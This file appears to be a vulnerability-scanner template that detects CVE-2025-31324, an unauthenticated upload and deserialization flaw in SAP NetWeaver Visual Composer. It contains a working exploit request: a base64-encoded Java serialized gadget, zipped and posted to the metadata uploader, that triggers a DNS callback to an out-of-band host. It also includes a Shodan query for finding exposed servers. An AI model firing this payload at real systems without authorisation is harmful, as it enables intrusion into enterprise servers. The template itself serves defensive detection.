SAP NetWeaver Visual Composer Metadata Uploader - Deserialization

id: CVE-2025-31324

info:
  name: SAP NetWeaver Visual Composer Metadata Uploader - Deserialization
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.
  impact: |
    Unauthenticated attackers can upload malicious executable binaries through the Metadata Uploader without authorization, potentially achieving remote code execution and complete system compromise.
  remediation: |
    Apply SAP security note 3594142 and upgrade to the latest patched version of SAP NetWeaver Visual Composer.
  reference:
    - https://www.bleepingcomputer.com/news/security/sap-fixes-suspected-netweaver-zero-day-exploited-in-attacks/
    - https://www.theregister.com/2025/04/25/sap_netweaver_patch/
    - https://me.sap.com/notes/3594142
    - https://url.sap/sapsecuritypatchday
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-31324
    cwe-id: CWE-434
    epss-score: 0.99359
    epss-percentile: 0.99934
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"SAP NetWeaver Application Server Java"
  tags: cve,cve2025,sap,netweaver,rce,deserialization,kev,vkev,vuln

variables:
  oast: ".{{interactsh-url}}"
  payload: "{{padding(oast,'a',54,'prefix')}}"


http:
  - raw:
      - |
        POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data

        {{zip('.properties',replace(base64_decode('rO0ABXNyABRqYXZhLnV0aWwuUHJvcGVydGllczkS0HpwNj6YAgABTAAIZGVmYXVsdHN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHIAE2phdmEudXRpbC5IYXNodGFibGUTuw8lIUrkuAMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAADdwgAAAAFAAAAAnQADnByb2plY3QtbmF0dXJlc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAFzcgAMamF2YS5uZXQuVVJMliU3Nhr85HIDAAdJAAhoYXNoQ29kZUkABHBvcnRMAAlhdXRob3JpdHl0ABJMamF2YS9sYW5nL1N0cmluZztMAARmaWxlcQB+AAhMAARob3N0cQB+AAhMAAhwcm90b2NvbHEAfgAITAADcmVmcQB+AAh4cP//////////dAA2YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhdAAAcQB+AAp0AARodHRwcHh0AD1odHRwOi8vYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFheHQAC0VYUE9SVC1OQU1FdAATc29tZV9wcm9qZWN0X25hbWV4eHhw'),'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',payload))}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains_all(body, 'FAILED', 'Cause')
        condition: and
# digest: 4a0a00473045022100aa78c1c362079a3fbf1533f212d3a132c4e128febe17e04de45f3d2d761ed17802207e462dbefa6a2f35ddd308555f421c8af98fb364dca7c4de6d399f4e081629a2:922c64590222798bb761d5b6d8e72950